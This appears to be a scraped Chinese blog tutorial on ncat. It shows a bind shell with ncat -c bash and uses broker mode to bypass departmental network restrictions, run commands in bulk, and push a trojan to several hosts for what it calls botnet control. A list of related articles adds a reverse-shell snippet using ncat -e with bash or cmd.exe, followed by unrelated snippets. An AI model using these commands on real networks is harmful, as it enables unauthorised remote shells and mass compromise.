由于netcat的缺陷,所以有了升级版ncat,弥补了netcat的一些不足。

ncat是nmap工具包的一个工具。

服务器端

ncat -c bash --allow 192.168.1.119 -vnl 333 --ssl

--allow 192.168.1.119只允许192.168.1.119这个IP进行连接。 -vnl 开放的端口是333 。--ssl 启用ssl加密。

客户端

ncat -nv 192.168.1.115 333 --ssl

其实ncat还有更强大的用法,可以越过受限的网络对其中的主机操作,

假设有这样一个场景:在一个公司,主机1作为公共的服务器,其他的主机都能与之建立连接,而主机2、3、4、5属于研发部,而主机6属于销售部,由于在不同的部门,主机6与主机2、3、4、5之间的连接是受限的。

现在如果主机6想突破限制,对主机2、3、4、5建立连接,并进行一些操作,我们就可以使用ncat的boker功能

在主机1 ncat -l 333 --broker

主机2、3、4、5通过333端口,用ncat连接到主机1 ,ncat 192.168.1.110 333

主机6也通过333端口,用ncat连接到主机1,ncat 192.168.1.110 333

这时,主机1就像一个hub一样将2、3、4、5、6连接起来,当在2、3、4、5、6的任何一台主机上发送指令时,其他的主机都会接收到,比如在主机6上输入"666666",主机2、3、4、5、6都会收到"666666"

不仅如此还可以传递文件和命令,甚至可以创建大规模的集控僵尸网络。

批量执行命令

在主机1 ncat -l 333 --broker

在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333

在主机6 ncat 192.168.1.110 333 --sh-exec "echo pwd"

就相当于在主机2、3、4、5上执行了pwd指令

在主机6 ncat 192.168.1.110 333 --sh-exec "echo mkdir a"

就相当于在主机2、3、4、5上创建了一个文件夹a

批量传文件

在主机1 ncat -l 333 --broker

在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333

在主机6 ncat --send-only 192.168.1.110 333 < 文件名

在主机2、3、4、5 就接收到了这个文件

这个文件可以是一个木马,然后批量执行这个木马,就达到了集群控制的效果

ncat的使用的更多相关文章

  1. 使用Ncat反弹Shell

    ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe

  2. ncat

    ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的.它是一款拥有多种功能的 CLI 工具,可以用来在网络上读.写以及重定向数据. 它被设计成可以被脚本或其他程序调用的可靠的后端工 ...

  3. Linux每天一个命令:nc/ncat

    nmap-ncat.x86_64版nc/ncat nc/ncat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒 ...

  4. 一文让你熟练掌握Linux的ncat(nc)命令

    一文让你熟练掌握Linux的ncat(nc)命令 ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的.它是一款拥有多种功能的 CLI 工具,可以用来在网络上读.写以及重定向数据. ...

  5. 基于RFC5321使用ncat发送邮件

    今天和同事学习到的这个方法,学习了,记录一下: [root@localhost ~]# ncat TeamServer.localdomain ESMTP Postfix EHLO l00.win - ...

  6. shell 命名管道,进程间通信, ncat作http server

    命名管道基础 命名管道也被称为FIFO文件, 在文件系统中是可见的,并且跟其它文件一样可以读写! 命名管道特点: 当写进程向管道中写数据的时候,如果没有进程读取这些数据,写进程会堵塞 当读取管道中的数 ...

  7. linux包之nmap之ncat命令

    [root@ka1che225 ~]# which nc/usr/bin/nc[root@ka1che225 ~]# which ncat/usr/bin/ncat[root@ka1che225 ~] ...

  8. Nmap & ncat

    Nmap & ncat https://github.com/udacity/course-ud303 https://nmap.org/dist/nmap-7.30-setup.exe Yo ...

  9. linux ncat命令

    netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的 ...

随机推荐

  1. SQL Server MSSQLSERVER 服务无法启动解决方案

    打开sql配置工具下的sql server configuration manager,然后将VIA协议禁用.

  2. 分享给大家一个500G.Net ftp资料库

    把自己经常用到的一个ftp资料库分析给大家,大家可以到上面下载资料学习,资料比较齐全,另外还有部分工具, ftp的地址是:ftp://202.107.251.26

  3. Django中MEDIA_ROOT和MEDIA_URL

    在django上传图片前端使用动态的配置方法 MEDIA_ROOT 代表着 要上传的路径会和你在models中写的上传的路径进行拼节形成最终文件上传的路径 MEDIA_URL主要就是映射了 在前端使用 ...

  4. keyword模块

    导入关键字模块 import keyword 列出当前系统中Python的关键字 >>> keyword.kwlist ['and', 'as', 'assert', 'break' ...

  5. How to start a VirtualBox VM headless in Windows 10

    If you wanted to start a VirtualBox VM headless (no UI) in the past, you needed additional tools.  I ...

  6. (已解决)java.lang.NoSuchMethodException: com.kevenwu.pojo.User.<init>()

    搭建ssm框架时报了如下错误,原因是: mybatis在初始化bean的时候需要无参构造器, 如果写了有参构造器,将会把无参构造器覆盖掉,加上一个无参构造器就可以了

  7. MethodInfo类的一般使用

    1.MethodInfo类是在System.Reflection命名空间底下,既然是在Reflection空间底下.故名思议关于反射相关的操作,其中比较重要的方法是Invoke()方法,它 是加载相同 ...

  8. spring集成mybatis的mybatis参考配置

    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE configuration PUBLIC &q ...

  9. 使用CommandLineRunner或ApplicationRunner接口创建bean

    在spring boot应用中,我们可以在程序启动之前执行任何任务.为了达到这个目的,我们需要使用CommandLineRunner或ApplicationRunner接口创建bean,spring ...

  10. qurtz.net

    Quartz.NET的使用(附源码)(作者 陈珙)   简介 虽然Quartz.NET被园子里的大神们写烂了,自己还是整理了一篇,结尾会附上源码地址. Quartz.NET是一款功能齐全的开源作业调度 ...